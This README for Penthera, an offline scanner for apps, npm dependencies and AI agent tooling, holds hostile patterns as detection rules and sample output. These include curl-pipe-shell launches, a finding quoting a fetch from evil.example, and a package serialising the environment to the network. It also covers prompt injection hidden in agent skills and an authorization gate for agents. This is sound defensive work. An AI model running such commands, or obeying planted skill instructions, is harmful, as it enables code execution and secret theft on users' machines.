by danoszz
Provides offline, open‑source security scanning, automated remediation, and compliance evidence generation for applications, APIs, dependencies, and AI agent tooling directly on the developer’s machine.
Penthera delivers a unified, deterministic security workflow that checks a web application (via its URL), the source repository, its npm dependencies, and the AI skills/MCP servers you use. All analysis runs locally, requires no account or telemetry, and produces evidence suitable for auditors and EU NIS2/CRA compliance.
curl -fsSL https://raw.githubusercontent.com/danoszz/penthera/main/install.sh | bash
penthera https://myapp.example --repo .penthera deps --base mainpenthera install <pkg>pentherapenthera https://myapp.example --audience auditor --evidence out/npx skills add danoszz/penthera and invoke natural‑language commands such as “scan my localhost for security issues”.--offline limits network traffic to the target only.penthera in CI pipelines to fail builds on new high‑severity findings.Q: Do I need an internet connection?
A: No. All rule files, vulnerability databases, and SBOM data are bundled. Use --offline to forbid any external request beyond the target host.
Q: Will Penthera push changes to my repo? A: No. The fix loop creates a local branch, asks for confirmation, and never pushes or opens pull requests automatically.
Q: Can I run Penthera as part of a GitHub Action?
A: Yes. Use the provided action snippet or invoke npx penthera <url> --sarif report.sarif in a workflow step and upload the SARIF with actions/upload-sarif.
Q: How are secrets masked in reports?
A: Secret values are redacted to sk‑…AAAA and only the location (file:line) is shown.
Q: What languages/frameworks are supported? A: Automatic route discovery for Next.js, Express, Fastify, Hono, and FastAPI; static analysis works for any JavaScript/TypeScript project and any npm‑based dependency tree.
Q: Is there a commercial version? A: Penthera is fully free and MIT‑licensed. Commercial platforms exist, but Penthera provides the same core checks locally without a fee.
Check it before you deploy. Vet what you build with. Keep watching after you ship. On your own machine, offline, and free.
Teams now ship apps and AI agents faster than anyone can secure them. AI writes much of the code. AI pulls in the packages, MCP servers, and skills. And on most teams nobody does security full time. Attackers have noticed: 2025 and 2026 brought self-spreading npm worms that hijacked AI coding tools, malicious MCP servers, poisoned agent skills, and leaked AI provider keys running up large bills.
Commercial platforms answer this from the cloud, for a fee, often with an AI deciding what is malicious. Penthera answers it on your machine, for free, with rules you can read. Think of it as the open-source security team for teams that don't have one.
| The job | What Penthera does | Command | |
|---|---|---|---|
| Before you deploy | Test the app | Scan your localhost or preview URL (TLS, headers, CORS, auth, JWT, IDOR, OAuth, OpenAPI, opt-in injection and fuzzing) and your repo (routes, trust boundaries, secrets including AI keys) | penthera <url> --repo . |
| Fix and verify | Deterministic fixes on a local branch, re-scanned to prove they worked, remembered so the next run is sharper. Never pushes | penthera agent --loop |
|
| Block it at commit time | Secrets, risky agent config, and dependency changes stopped before they are committed | penthera hook install |
|
| What you build with | Vet dependencies | What every package can actually do (install scripts, shell, network, env, obfuscation), what an upgrade added, lookalike names | penthera deps --base main |
| Guard installs | Shows what a new package brings before any install script runs, and stops it under your policy | penthera install <pkg> |
|
| Review pull requests | Comments the dependency capability diff on every PR that touches the lockfile | GitHub Action | |
| Audit your AI tooling | Skills, MCP servers, hooks, plugins, and rule files: hidden instructions, unpinned servers, over-broad permissions, silent updates | penthera agents --home |
|
| After you ship | Report and prove | Reports for developers, owners, and auditors; a hashed, signable evidence bundle; NIS2 and CRA readiness and report drafts | penthera <url> --audience auditor --evidence out/ |
| Keep watching | Scheduled checks of your own production for drift: certificates, headers, new endpoints, keys in bundles, new CVEs in your SBOM | on the roadmap |
What it is not: a human pentester, a 24/7 SOC, or incident response. It does the repeatable checks so the people you do have can spend their time on judgement.
--offline limits
network traffic to the target you named, and every report lists the hosts that
were contacted.file:line
evidence and a confidence label on every finding. No model decides what is
malicious.Penthera is meant to sit next to the tools you already use, not replace them. Many teams run several of these together. Penthera's SARIF output goes straight into GitHub code scanning, for example.
| Focus | Where it runs | How it decides | Cost | |
|---|---|---|---|---|
| Penthera | Your app (URL + repo), your dependencies, your AI tooling, fixes, and EU compliance evidence | Your machine or CI, offline | Readable deterministic rules, with evidence | Free, MIT |
| Socket | Supply-chain risk across package registries, extensions, and skills | Cloud service, GitHub App, CLI | Package analysis at registry scale, including AI review | Free tier and paid plans |
| Snyk | Known vulnerabilities in dependencies, code, containers, and IaC | Cloud service, IDE, CLI | Curated vulnerability database plus static analysis | Free tier and paid plans |
| GitHub Dependabot and code scanning | Known-CVE alerts, update PRs, CodeQL | GitHub | Advisory database, CodeQL queries | Free for public repos |
| OWASP ZAP | Dynamic testing of web apps | Your machine or CI | Active and passive scan rules | Free, open source |
| Anthropic OSS Scanner | Finding vulnerabilities in established open-source projects | Run by Anthropic, opt-in for maintainers | AI-driven review with reproducible reports | Free for accepted projects |
Where Penthera adds something:
Where others go further: registry-wide package intelligence (Socket), curated vulnerability data (Snyk, GitHub), and depth of dynamic testing (ZAP).
Descriptions reflect each project's public documentation as of October 2026. Corrections are welcome by pull request.
As an Agent Skill (recommended). Let Claude Code or Cursor drive it: install once, then ask it to "scan my app for security issues", "is this package safe to add?", or "audit my MCP servers". The agent picks the check, runs it, and walks you through the fixes.
As a CLI. Run penthera https://myapp.com, or just penthera for the guided
wizard. See the quick start.
Penthera is for hardening systems you own. It is powerful, so please use it carefully. See Ethical use and the Disclaimer.
Shipping in the EU? Penthera also generates your NIS2 readiness report, policy pack, incident-report drafts, SBOM, and prefilled customer security questionnaires, plus CRA Article 14 report drafts and an AI-BOM. Readiness tooling, not a certification.
Findings
HIGH IDOR/BOLA: GET /api/users/{user_id}
http://localhost:3000/api/users/1 → 200
HIGH OAuth open redirect
http://localhost:3000/api/oauth/callback?redirect_uri=... → 302
MED Missing Content-Security-Policy
MED No login rate limiting detected
http://localhost:3000/api/login → 401
LOW Missing X-Frame-Options
INFO Missing Referrer-Policy
──────────────────────────────────────────────────────────
2 high · 5 medium · 2 low · 2 info
Every finding carries a confidence label (confirmed, likely, potential,
needs-human-review), so a heuristic never poses as a certainty. Reports come
out as Markdown, JSON, and SARIF, with the fixes in priority order.
One-line install (clones the repo, links the CLI, and installs the skill into Cursor and Claude Code if it finds them):
curl -fsSL https://raw.githubusercontent.com/danoszz/penthera/main/install.sh | bash
Or via the Agent Skills CLI (Cursor, Claude Code, and 40+ agents):
npx skills add danoszz/penthera
Then talk to your agent:
"Scan my localhost:3000 for security issues"
"Run a pre-deploy security audit on staging.myapp.com"
"Find hardcoded secrets in this repo before I push"
Or try it with no install at all:
npx penthera https://your-app.example
Prefer the terminal? Run penthera with no arguments for a guided wizard.
The skill adds an authorization gate: it instructs your agent to refuse targets you do not own or are not authorized to test.
| Mode | Command | Coverage |
|---|---|---|
| URL scan | penthera https://example.com |
TLS, fingerprinting, endpoint discovery, templates, CORS, cookies, JS CVEs, param discovery, OpenAPI/FastAPI probes, security headers, auth hardening |
| Repo scan | penthera --repo ./my-app |
API route discovery (Next.js, Express, Hono, Fastify), trust-boundary mapping, hardcoded-secret scanning (including Anthropic, OpenAI, Gemini, Groq, Hugging Face and other AI provider keys) |
| Combined | penthera https://staging.app --repo . |
Black-box and white-box in one run |
| Interactive | penthera (no args) |
Guided wizard (URL plus optional repo scan, Markdown report) |
| Machine audit | penthera --machine |
macOS checks (keyloggers, persistence, rootkits) |
| Dependencies | penthera deps |
What each npm package can do (install scripts, shell, network, env, eval, native, obfuscation), capability diff on upgrades, typosquats. Offline |
Pick a profile, or add individual flags for more depth:
| Profile | Command | What runs |
|---|---|---|
| quick | --profile quick |
Headers, OpenAPI, auth smoke tests (about 10s) |
| standard | (default) | Full non-destructive scan |
| deep | --profile deep |
recon, injection probes, and API fuzzing |
Individual flags: --recon, --deep, --fuzz, --adaptive, --nuclei <path>, --templates <dirs>, --all
Findings map to the OWASP Web Security Testing Guide
(WSTG v4.2), and agent findings to the OWASP MCP and Agentic Top 10s. The
default scan is non-destructive. Payload-based testing is opt-in (--deep,
--fuzz, --all) and gated behind explicit confirmation.
# First time? Run with no args for guided setup
penthera
# Safe default scan (non-destructive)
penthera https://myapp.com
# Staging plus source code, full report set
penthera https://staging.myapp.com --repo . --all -o reports/scan.json --sarif reports/scan.sarif
# Baseline diff: show only new findings since the last scan
penthera https://myapp.com -o reports/scan.json --baseline reports/previous.json
# Authenticated scan (session cookie or bearer token)
PENTHERA_BEARER=eyJ... penthera https://myapp.com --profile standard
penthera https://myapp.com --auth-cookie "session=abc123"
Writing to -o reports/scan.json also drops a human-readable reports/scan.md
next to it. Reports are gitignored by default.
| Code | Meaning |
|---|---|
0 |
No critical or high findings |
1 |
Critical or high findings detected |
2 |
Scan failed (unreachable target, bad config) |
| Format | Flag | Use |
|---|---|---|
| Terminal | (default) | Colored summary plus top 3 fixes |
| Markdown | --markdown file.md or -o file.json |
Human-readable report (exec summary, findings tables, fixes). Written next to -o automatically |
| JSON | --json or -o file.json |
CI pipelines, baseline diffs, custom tooling |
| SARIF | --sarif file.sarif |
GitHub Security / Code Scanning tab |
| Audience report | --audience developer|owner|auditor |
The same scan written for a developer, an owner or an auditor (docs/evidence.md) |
| Your template | --report-template file.md |
Your own Markdown with {{summary.critical}}, {{#each findings}}, {{#if x}}; no code runs |
| Evidence bundle | --evidence <dir> [--sign-key <ssh-key>] |
All reports plus manifest.json with SHA-256s, optionally SSH-signed. Auditors check it with penthera evidence verify <dir> --allowed-signers <file> (docs/evidence.md) |
Penthera ships as an Agent Skill, the open format used by Cursor, Claude Code, Claude.ai, and 40+ agent tools. The skill teaches an agent to run authorized scans, pick the right profile, and summarize findings, so you can just describe what you want.
Install (any of these):
# Cross-agent, frictionless
npx skills add danoszz/penthera
# Or the one-line installer (also links the CLI)
curl -fsSL https://raw.githubusercontent.com/danoszz/penthera/main/install.sh | bash
# Or copy into a single project for team sharing
cp -r skills/penthera .cursor/skills/penthera # Cursor
cp -r skills/penthera .claude/skills/penthera # Claude Code
Or as a Claude Code plugin (installs the skill):
/plugin marketplace add danoszz/penthera
/plugin install penthera@penthera
For Claude.ai (web), zip and upload the skill:
npm run package:skill # produces penthera-skill.zip; upload in Settings > Capabilities > Skills
Prompts that trigger it:
The skill adds an authorization gate: it instructs the agent to refuse targets you do not own or are not authorized to test, and the wizard asks you to confirm before scanning a remote host. It is an agent-level and interactive safeguard, not something the raw CLI enforces. You are responsible for every target you pass it. Run preflight before the first scan:
bash skills/penthera/scripts/preflight.sh http://localhost:3000
Skill source and workflows live in skills/penthera/SKILL.md.
Your AI tools run code too. penthera agents audits the skills, MCP servers,
hooks, permissions, plugins and rule files that Claude Code, Cursor, Claude
Desktop, VS Code and Copilot load, and grades the setup A to F.
penthera agents # this repo: .mcp.json, .claude/, .cursor/, AGENTS.md, CLAUDE.md, skills/
penthera agents --home # + ~/.claude (hooks, permissions, plugins, skills), ~/.cursor/mcp.json, Claude Desktop
penthera agents ./some-skill # vet a downloaded skill before you install it
penthera agents --pin # write penthera.lock; later runs flag anything that changed
It is offline and deterministic: no LLM judge, no registry lookups, nothing
leaves your machine, and it never modifies the config it reads. Every verdict
is a rule you can read in lib/agents/, so a skill can't talk
its way past it.
| Check | What it catches |
|---|---|
| Hidden content | Unicode tag characters (decoded), zero-width and bidi controls, variation-selector smuggling, text pushed past a wall of blank lines or off-screen, instructions in HTML comments, text addressed to the scanner, base64 blobs (decoded and classified), .pyc/archives/executables in a skill folder (by magic bytes, so a renamed .png doesn't hide one), symlinks that leave the folder |
| Code execution | curl | sh, wget | bash, bash <(curl …), eval "$(curl …)", base64 -d | sh, exec(base64…), PowerShell iwr | iex, in skills, scripts, hooks and MCP launch commands |
| MCP servers | npx -y / uvx / bunx / pnpm dlx without an exact version, inline secrets in env, headers or args (same rules as the repo secret scan), remote servers over plain http:// |
| Hooks & permissions | Hooks that auto-approve tool calls or pipe into a shell (including the scripts they run), Bash(*) and other wildcard allows, bypassPermissions, allow rules for ~/.ssh and other credential files, wildcards in a skill's allowed-tools |
| Plugins | Marketplaces and marketplace plugins not pinned to a commit |
| Rug pulls | --pin writes SHA-256 hashes of every skill folder, MCP server definition, hook and installed plugin to penthera.lock. A later run reports what changed, appeared or disappeared |
Each finding names the OWASP MCP Top 10
and Agentic Top 10 (ASI) ids it maps to, and the
usual --json, -o, --markdown and --sarif outputs all work. The scanner
is built for the ways LLM-judged skill scanners have been bypassed: it reads
whole files (no context window to overflow), every file in a skill folder (not
just SKILL.md), and treats text aimed at a reviewer as a finding rather than
an argument.
Penthera does not just report problems. It closes the loop: ask your agent to fix what it finds, and it detects the issue, applies a framework-aware fix to your code (shown as a diff for you to approve), and re-scans to prove it is resolved.
"Scan my app and fix what you find"
"Fix the security headers on my Next.js app and re-scan to confirm"
"Find and fix hardcoded secrets in this repo"
Fixes come from a remediation playbook covering Next.js, Express, Fastify, Hono, and FastAPI. They are always shown as diffs for your approval and verified by a re-scan; nothing is applied blindly, and nothing touches production. To build secure-by-default in the first place, see secure defaults.
For the most common findings you don't need an agent at all. penthera fix plans deterministic, local fixes and prints each one as a unified diff:
penthera fix --plan --repo . # fresh repo scan, one diff per fix
penthera fix --plan --repo . -o report.json # or use the findings from an earlier scan
penthera fix --apply <id> --repo . # apply one diff after you approve it
| Recipe | What it changes | Frameworks |
|---|---|---|
security-headers |
Adds a starter CSP (with frame-ancestors), HSTS, X-Frame-Options, Referrer-Policy and X-Content-Type-Options |
Next.js (headers() in next.config.*), Express (helmet if installed, otherwise a small middleware), Fastify (@fastify/helmet if installed, otherwise an onSend hook), Hono (secureHeaders) |
cookie-flags |
Adds httpOnly, secure and sameSite to cookies set in code |
res.cookie, reply.setCookie, Hono setCookie, Next.js cookies().set |
cors-allowlist |
Replaces cors(), origin: "*", origin: true and origin || "*" with an allowlist from CORS_ALLOWED_ORIGINS |
Express, Fastify, Hono, Next.js route handlers |
auth-rate-limit |
Puts a rate-limit stub (in memory, 10 attempts per 15 minutes) on login and auth routes | Express (express-rate-limit if installed), Fastify, Hono, Next.js App Router |
secret-to-env |
Moves a hardcoded secret in JS/TS to process.env.NAME and adds NAME= to .env.example |
Any |
How it stays safe:
y/N confirmation (or --yes), refuses a dirty git tree unless you pass --allow-dirty, refuses any path outside the repo, and writes nothing unless every hunk applies. It never commits or pushes.const app = express(), the exported Next.js config object, a one-line res.cookie(...)). If the anchor isn't there, or the code already does something custom (an existing headers(), cookie options in a variable), the recipe returns no plan instead of a risky diff.CORS_ALLOWED_ORIGINS.--json plans.--apply, Penthera re-scans the repo and says whether each finding is gone. Headers, cookies, CORS and rate limits are checked statically from source, so re-run your URL scan to confirm against the live app.No recipe for a finding? --fix-model <name> can ask a model running in Ollama on 127.0.0.1:11434, and nowhere else. It is off by default and only used when no recipe matches. Its diffs are labelled needs-human-review.
penthera agent --looppenthera agent --loop runs scan → fix → verify → learn on your machine until nothing fixable is left (or --max-iterations, default 5):
penthera agent --loop --repo . --url http://localhost:3000 -o reports/loop.json
It shows each diff and asks y/n/skip/quit, applies it on a local branch penthera/fix-<yyyymmdd-hhmm>, re-scans (plus your tests with --run-tests), commits the fix if it verified and reverts it if not, and records the outcome in local memory. It refuses a dirty tree or a detached HEAD, runs only an allow-list of local git commands with your repo's hooks disabled, contacts only the --url host, and never pushes or opens a pull request. --auto low applies without asking only recipes that memory shows verified 3+ times with no failures on your framework. Details and the loopRun JSON: docs/local-loop.md.
A lockfile change is code you did not write, about to run with your app's access
to files, network, environment and CI secrets. penthera deps reads
package-lock.json, statically scans every installed package, and tells you
what each one can do, and which packages are new or gained capabilities in an
upgrade.
penthera deps # every package in node_modules
penthera deps --base origin/main # capability diff vs the lockfile on main
penthera deps --diff ../base-checkout # diff vs another installed tree (or an old package-lock.json)
penthera deps --pr-comment deps.md # short Markdown diff for a PR comment
▲ net-helper 1.0.0 → 1.1.0 + network, whole environment
node_modules/net-helper/index.js:3 const https = require('https');
node_modules/net-helper/index.js:5 const body = JSON.stringify(process.env);
| Capability | Detected from |
|---|---|
| Install scripts | preinstall / install / postinstall, and binding.gyp (npm runs node-gyp implicitly). Flagged as risky when the hook pipes a download to a shell or runs a file with network or decoding code |
| Shell, network, dynamic code | child_process; http/https/net/dgram/tls/http2, fetch, WebSocket; eval, new Function, vm |
| Environment | process.env reads, and bulk access (JSON.stringify(process.env), enumeration). Serialising the environment next to network code is reported as likely exfiltration |
| Files, modules, native | Writes near home-directory or system paths; computed require()/import(); .node addons and binding.gyp |
| Obfuscation | Obfuscator identifiers (_0x…), \x-escape density, encoded blobs that are decoded and run (embedded WebAssembly and ANSI colour codes are recognised and ignored) |
| Attack indicators | Writes to ~/.claude, ~/.cursor, .mcp.json or the Claude Desktop config; running the claude, gemini or q CLIs (the s1ngularity pattern); GitHub token harvesting |
| Typosquats | Edit distance, separator and suffix tricks against ~7,800 popular npm names, vendored in the package and refreshed at release time |
Every capability carries file:line evidence. It is a regex-and-tokenizer pass,
not a full parser: deterministic, never executes package code, and fast enough
for every PR (0.4 s for Penthera's own 61 packages, 5 to 16 s for real app
trees of 500 to 1,700 packages). A capability is what code
can do, not proof that it is malicious; the findings carry honest confidence
labels (potential for obfuscation and typosquats).
Offline by default. Old versions for the diff come from the base tree's
node_modules or from npm's local cache (~/.npm/_cacache), looked up by the
lockfile's integrity hash and verified byte for byte. --online is the only
network use: it asks the npm registry for publish dates, publisher changes and
deprecations, and fetches old tarballs the cache does not have (verified the
same way). To comment the capability diff on every PR that changes the
lockfile, use the GitHub Action below.
- uses: danoszz/penthera@<release-commit-sha> # v1.4.0
with:
mode: deps # deps | agents | scan (scan also needs url:)
fail-on: none # none | high | critical
On every pull request it posts one comment with the capability diff against
the PR base and edits that same comment on each push. It also uploads SARIF to
code scanning. Penthera runs from the action's own checkout: no npx, no install
from npm, no registry lookups. On fork PRs the token is read-only, so the diff
goes to the job summary instead. Inputs: mode, path, base-ref, url,
fail-on, comment, sarif, penthera-version. Copy the full workflow, with
permissions and a lockfile paths filter, from
docs/examples/pr-dependency-review.yml.
penthera installpenthera deps tells you what changed after the fact. penthera install asks
before anything runs:
penthera install left-pad # check, then install (asks if the policy says so)
penthera install -D vitest --dry-run # report only
penthera install --yes # CI: install only if nothing breaches the policy
▲ color-helper 1.0.0 → 1.1.0 + install script
postinstall: node postinstall.js
Policy defaults (no penthera.policy.json)
! color-helper@1.1.0 needs approval: install script
Install anyway? [y]es, run the install scripts / [s]kip scripts / [N]o:
package.json and the
lockfile, with scripts off (npm install --package-lock-only --ignore-scripts).npm cache add. Nothing is unpacked into
node_modules and no package code runs; each tarball is checked against
the proposed lockfile's integrity before it is read.deps engine diffs capabilities against your current lockfile, lists
new install scripts with their commands, and checks new names for typosquats.penthera.policy.json decides. On approval, the reviewed lockfile is
installed as is, with --ignore-scripts unless you approved the scripts
(on npm 12+, approved scripts are pinned in package.json allowScripts).
On abort, exit code 1, and the project is byte for byte unchanged.{
"allow": ["@acme/*", "esbuild", "sharp@0.33.5"],
"deny": ["ai-cli-invoke", "token-harvest"],
"requireApproval": ["install-scripts", "ai-config-write", "ai-cli-invoke",
"token-harvest", "obfuscated", "typosquat", "unscanned"]
}
deny and requireApproval take capability ids from the table above
(install-scripts, shell, network, env-bulk, obfuscated, ...) plus
typosquat and unscanned. The requireApproval list shown is the default.
allow takes names or globs, optionally pinned to a version, and overrides
both. The one network use is npm talking to your configured registry, and
Penthera prints which one; Penthera itself sends nothing. Workspaces and
file: dependencies are not supported yet.
penthera deps --license-policy permissive # or weak-copyleft-ok, no-agpl
penthera deps --license-policy legal/policy.json # a file with a "licenses" section
Without the flag, penthera deps applies the licenses section of
penthera.policy.json when there is one:
{
"licenses": {
"preset": "permissive",
"allow": ["Python-2.0"],
"deny": ["WTFPL"],
"allowPackages": ["@acme/*", "sharp@0.33.5"],
"unknown": "warn"
}
}
| Preset | Allows |
|---|---|
permissive |
MIT, ISC, BSD, Apache-2.0, 0BSD, Unlicense, CC0, Zlib, BlueOak and similar. Everything else breaches |
weak-copyleft-ok |
permissive plus LGPL, MPL, EPL, CDDL and Artistic-2.0 |
no-agpl |
Anything except AGPL and SSPL (network copyleft) |
Licenses come from the lockfile (npm records them in v2 and v3), else from
the installed package.json. Expressions are parsed as SPDX:
MIT OR GPL-3.0-only passes permissive because one branch is enough, while
MIT AND GPL-3.0-only does not. Deprecated ids (GPL-3.0, GPL-2.0+) are
matched to their current form, so a deny of AGPL-3.0-only also catches a
package that says AGPL-3.0. A breach and UNLICENSED (no rights granted)
are high. A missing, custom (SEE LICENSE IN ...) or non-SPDX license is
medium, or high with "unknown": "block". allowPackages exempts packages your
legal review has cleared. Findings use category license and appear in every
output format, and --sbom now records each component's license.
Once a secret is pushed, rotating it is the only fix. The pre-commit hook runs the checks that matter on what you are about to commit, and nothing else:
penthera hook install # writes .git/hooks/pre-commit; an existing hook is kept and runs first
penthera hook run # what the hook runs; try it on staged changes
penthera hook uninstall # removes it and puts your old hook back
On staged content only (the git index, not your working tree):
penthera agents rules on staged .mcp.json, CLAUDE.md, AGENTS.md,
.cursor/, .claude/ and skills/;package-lock.json is staged, the capability diff against HEAD's
lockfile and the license policy, for the packages this commit adds. ✗ penthera blocked this commit: 2 findings at high or above (2 staged files, 1 agent config, 0.1s)
✗ CRITICAL .mcp.json MCP server "x" launches by downloading and running code id b5914a44a2058da9
→ Launch command contains a download piped to a shell: `curl https://evil.example/x.sh | sh`.
✗ CRITICAL config.js:1 Anthropic API key in source sk-a…AAAA id 7a0eb6998ff38787
→ Load it from an env var or secret store and unstage the file; rotate it if it was ever pushed or shared.
Fix and `git add` again. A false positive? Add it to penthera.suppress.json:
{ "version": 1, "suppress": [{ "id": "b5914a44a2058da9", "reason": "why this is safe" }] }
To skip the check for one commit: git commit --no-verify (the finding still ships)
It blocks on high and critical by default and takes about 0.1 to 0.5 s.
Configure it in penthera.policy.json:
{ "hook": { "blockOn": "high", "ignore": ["tests/fixtures/**"],
"checks": { "secrets": true, "agents": true, "deps": true, "licenses": true } } }
If husky or lefthook manage your hooks (core.hooksPath is set),
penthera hook install says so instead of overwriting them. Add one line to
that tool instead:
# husky
echo "npx --no-install penthera hook run" >> .husky/pre-commit
# lefthook.yml
pre-commit:
commands:
penthera:
run: npx --no-install penthera hook run
# .pre-commit-config.yaml (pre-commit.com)
repos:
- repo: https://github.com/danoszz/penthera
rev: <tag or sha>
hooks:
- id: penthera
Shipping in the EU? NIS2 (the Cyberbeveiligingswet in the Netherlands, the NIS2-wet in Belgium) puts a duty of care on in-scope organisations. Penthera turns the technical, testable part of that duty into repeatable evidence, and helps with the paperwork around it. Offline, no accounts.
| Command | What you get |
|---|---|
--framework nis2 |
Per-run Article 21(2) coverage table in every report |
--readiness --assessment a.json |
Full readiness report: every measure marked met / partial / gap |
--questionnaire questions.txt |
Customer security questionnaire drafted from your evidence |
--policy-pack ./policies |
Proportionate policy templates, prefilled from your gaps |
--incident incident.json |
24h / 72h / 1-month incident report drafts and deadlines |
--sbom sbom.cdx.json |
CycloneDX software bill of materials |
--cra cra.json |
CRA Article 14 drafts: 24h / 72h / 14-day or 1-month deadlines, overdue flags |
--aibom aibom.cdx.json |
CycloneDX 1.6 AI-BOM: AI SDKs, models in code, MCP servers, skills, prompts |
--history history.json |
Time-to-fix, ageing, and drift across scans |
--suppliers suppliers.txt |
Passive red/amber/green rating of your suppliers |
Full guide, the measure-by-measure coverage table, and the limits: docs/compliance-nis2.md. Cyber Resilience Act reporting and the AI-BOM: docs/compliance-cra.md.
Readiness tooling, not a certification and not legal advice.
# Scan a staging URL on a schedule and upload results to GitHub Security.
- run: npx penthera@1.5.0 "$PENTEST_URL" --profile standard --sarif reports/scan.sarif
- uses: github/codeql-action/upload-sarif@6f2ac81f5cd81fe351a197ba0b00d91d03cd2aee # v4.39.0
with:
sarif_file: reports/scan.sarif
Copy the full workflow from
docs/examples/github-actions-scan.yml
into your app's repo. Pin the Penthera version so a scheduled run never picks up
code you have not reviewed.
Penthera's own CI runs the full test suite on Node 22 and 24, self-scans a mock vulnerable API on every push, and runs CodeQL and OpenSSF Scorecard.
Penthera sends HTTP requests to the targets you give it. Some modes (--deep,
--fuzz, --all) send attack payloads designed to find vulnerabilities. Use it
responsibly.
You may use Penthera when:
You must not use Penthera to:
Before scanning any URL that is not localhost, confirm you have permission. When in doubt, do not scan.
Unauthorized security testing may violate computer-misuse laws (for example the US CFAA, the UK Computer Misuse Act, and EU national equivalents) and can result in criminal prosecution, civil liability, IP blocking, account termination, and academic or professional penalties.
The one-line installer is the fastest path. To set it up manually:
git clone https://github.com/danoszz/penthera.git
cd penthera
npm install
npm link # exposes `penthera` and `penthera-scan` globally
penthera --version
Requirements: Node.js 22+ and npm. Optional: nuclei-templates for --nuclei, and
Docker. To run it in a container:
docker build -t penthera .
docker run --rm penthera https://your-app.example
For live integration tests against your own routes:
cp pentest.config.example.js pentest.config.js # gitignored
Edit the route groups, then run npm run pentest:live. Set PENTEST_BASE_URL to
point at staging without editing the file.
npm test # full suite (live integration tests skip without a running target)
npm run pentest:mock # offline tests against a local mock vuln API
npm run mock-server # start the mock API on port 8765
See the roadmap for what is next, including auditing the skills, MCP servers, and plugins in your AI toolchain, and what is deliberately not planned.
See CONTRIBUTING.md for the project layout, how to add a probe or template, the test matrix, and the release and publishing checklist.
How Penthera decides what is a finding, how sure it is, and what it cannot see is written up in docs/METHODOLOGY.md, with every design choice tied to published research or a standard (references). Reports carry the same citations: each finding gets a "Why this matters / Sources" line, and SARIF rules link to their source.
Accuracy is measured, not claimed. npm run bench scans local labelled
targets offline and scores precision and recall; the current run is 19 true
positives, 3 false positives and 2 false negatives (precision 0.86, recall
0.90). The results list every miss and false alarm, and
the benchmark README explains the method and its limits.
To cite Penthera, use the "Cite this repository" button on GitHub (CITATION.cff).
Production-ready and moving fast. App scanning (URL, repo, macOS machine), dependency capability analysis and an install firewall, the AI-tooling audit, the local fix loop with a learning store, audience reports and evidence bundles, the PR-comment GitHub Action, and NIS2 readiness tooling are all shipped. See the CHANGELOG for the full history and the roadmap for what is next.
Penthera is actively maintained. Issues and PRs welcome.
Penthera is free and MIT-licensed. If it caught something before you shipped it, you can help keep it maintained:
| Tier | Monthly | You get |
|---|---|---|
| Individual | $5 | Thanks, and your name on the GitHub sponsors list |
| Supporter | $25 | A mention in the next release notes |
| Startup | $100 | Your name and link in this README |
| Company | $500 | Your logo in this README, and a quarterly roadmap call |
Sponsorship pays for maintainer time: keeping detection rules current, security fixes, and the roadmap. It does not buy influence over findings, a support SLA, or early access to vulnerability reports, and a logo here is not a security endorsement of that company. Details in docs/funding/sponsor-tiers.md.
Penthera has no telemetry. It does not collect, store, or transmit any usage data, analytics, or personal information to the author or any third party. It does not phone home.
--auth-bearer, --auth-cookie, or PENTHERA_* env vars are sent only to that target.penthera/<version> (+https://github.com/danoszz/penthera), so a target's operator can tell where the traffic comes from. Override it with --user-agent.reports/ (gitignored) on your machine.Without --offline, a scan may contact these third parties:
| Host | When | What it learns |
|---|---|---|
raw.githubusercontent.com, cdn.jsdelivr.net |
Retire.js check (standard and deep profiles) | That someone downloaded the public database. Nothing about your target. |
crt.sh, web.archive.org, otx.alienvault.com |
--recon only |
The target domain. |
CDN hosts serving your page's <script src> |
Retire.js check, when a script's version can only be read from its contents | That someone fetched that public script. |
--offlinepenthera http://localhost:3000 --offline
With --offline, the HTTP client refuses every host except the scan target. A redirect may only move to a host on the target's registrable domain (example.com to www.example.com). In practice:
lib/data/retire-jsrepository.json.gz), refreshed at each release by scripts/refresh-retire-db.mjs. The source URL, fetch date and SHA-256 sit next to it in retire-jsrepository.meta.json, so you can check it against upstream. Online scans fall back to the snapshot too when the live download fails.--suppliers is refused, because it rates third-party domains.localhost or IP target needs no DNS at all.Penthera never fetches rules or code at runtime: templates, wordlists and the vulnerability database ship in the package.
When a probe's requests time out, fail, or are refused by --offline, the scan records { probe, url, message } in result.errors. The terminal summary shows "N probes inconclusive", and the Markdown report lists each one. A probe that could not run is not a clean result.
You are responsible for ensuring you are authorized to scan any target. See Ethical use.
Penthera is provided for legitimate security research and defensive testing of systems you own or are authorized to test, and for that purpose only.
By using Penthera you accept these terms.
MIT. See LICENSE. Report vulnerabilities in Penthera itself via SECURITY.md. Only scan systems you own or are authorized to test.
Please log in to share your review and rating for this MCP.
Explore related MCPs that share similar capabilities and solve comparable challenges
by chaitin
A self‑hosted web application firewall and reverse proxy that protects web applications from attacks and exploits by filtering, monitoring, and blocking malicious HTTP/S traffic.
by snyk
Scans installed AI agent components, MCP servers, and skill files for prompt‑injection, tool poisoning, toxic flows, hard‑coded secrets and other supply‑chain risks.
by OpenOSINT
Provides an AI‑driven OSINT workflow that lets users query a natural‑language REPL, CLI, web UI, or MCP server, automatically selecting and chaining 18 reconnaissance tools to collect, pivot, verify, and report public‑source intelligence.
by 2akouwu
Provides deterministic verification of AI‑generated claims against binary artifacts, ensuring every structural or behavioral assertion is grounded in the actual file and preserving verified state across context resets.
by hashgraph-online
Open-source antivirus for AI agents that blocks risky tools, secret exposure, prompt injection, malicious packages, MCP servers, plugins, and skills at runtime.
by safedep
Provides enterprise‑grade open source software supply chain security by scanning source code, dependencies, containers and SBOMs, detecting vulnerabilities and malicious packages, and enforcing policy as code.
by tufantunc
Provides controlled SSH access for LLM agents with command classification, policy‑based authorization, human‑in‑the‑loop approval, and immutable audit logging.
by semgrep
Offers an MCP server that lets LLMs, agents, and IDEs run Semgrep scans to detect security vulnerabilities in source code.
by KeyValueSoftwareSystems
Enables adversary emulation for AI agents, LLM applications, and MCP servers, letting teams test their AI systems against realistic attack scenarios.